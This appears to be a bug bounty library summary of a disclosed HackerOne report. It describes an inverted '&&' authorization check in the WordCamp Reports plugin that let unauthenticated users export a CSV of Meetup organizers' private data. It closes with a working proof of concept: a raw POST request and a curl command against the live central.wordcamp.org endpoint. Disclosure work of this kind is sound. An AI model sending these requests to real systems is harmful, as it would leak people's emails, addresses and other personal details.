# Unauthenticated private CSV export of Meetup organizer PII via broken authz check in WordCamp Reports

Inverted && authz check in WordCamp Reports' Meetup_Details::export_to_file() let unauthenticated attackers export a private CSV of Meetup organizer PII.

- Payout: hidden
- Severity: high
- Program: WordPress
- Found by: 0xbs0d27
- Disclosed: 2026-11-05
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/3871816
- Library page: https://bugbountylibrary.com/r/h1%3A3871816
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:bounty platform:hackerone sev:high tech:php tech:wordpress technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** WordPress plugin wordcamp-reports export handler on central.wordcamp.org admin-ajax.php
**Root cause:** export_to_file() gates access with `! wp_verify_nonce(...) && current_user_can(CAPABILITY)`, so it only returns early when the nonce is invalid AND the user is privileged; anonymous users with an invalid nonce pass.
**Steps:**
1. Send unauthenticated POST to `https://central.wordcamp.org/wp-admin/admin-ajax.php` with body `action=Export CSV&meetup-details-nonce=invalid&fields[]=Email&fields[]=Address&fields[]=Slack&fields[]=Organizer Name&fields[]=Extra Comments&fields[]=Name`.
2. Broken check does not return early for anonymous requester with invalid nonce.
3. Response is a CSV from export_to_file_common() containing private organizer fields (`public => false`).
4. Control: same request against Meetup Sponsors report (correct `||` check) is refused, confirming only Meetup Details is broken.
**How found:** Code review of the plugin's export handlers; noticed the `&&` operator in Meetup_Details::export_to_file() and compared against sibling reports using `||`, then built a truth table showing only privileged users with bad nonces are blocked.
**Exploitation:** Single unauthenticated HTTP POST to admin-ajax.php triggers admin_init hook, bypassing both nonce and capability checks, returning a CSV download of private organizer PII (emails, addresses, Slack handles, usernames, notes).
**Insight:** When auditing WordPress plugin export/report handlers, diff the nonce+capability guard across sibling classes in the same plugin; a single `&&` vs `||` inversion silently inverts the gate for anonymous users, and the `public => false` flag marks exactly which exports carry sensitive fields.

## Proof of concept (copied exactly from the original report)

**Unauthenticated POST request triggering private CSV export**

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: central.wordcamp.org
Content-Type: application/x-www-form-urlencoded

action=Export%20CSV&meetup-details-nonce=invalid&fields%5B%5D=Email&fields%5B%5D=Address&fields%5B%5D=Slack&fields%5B%5D=Organizer%20Name&fields%5B%5D=Extra%20Comments&fields%5B%5D=Name

Example curl (use only for minimal confirmation; do not mass-exfiltrate data):

curl -i -X POST 'https://central.wordcamp.org/wp-admin/admin-ajax.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'action=Export CSV' \
  --data-urlencode 'meetup-details-nonce=invalid' \
  --data-urlencode 'fields[]=Email' \
  --data-urlencode 'fields[]=Address' \
  --data-urlencode 'fields[]=Slack' \
  --data-urlencode 'fields[]=Organizer Name' \
  --data-urlencode 'fields[]=Name'
```

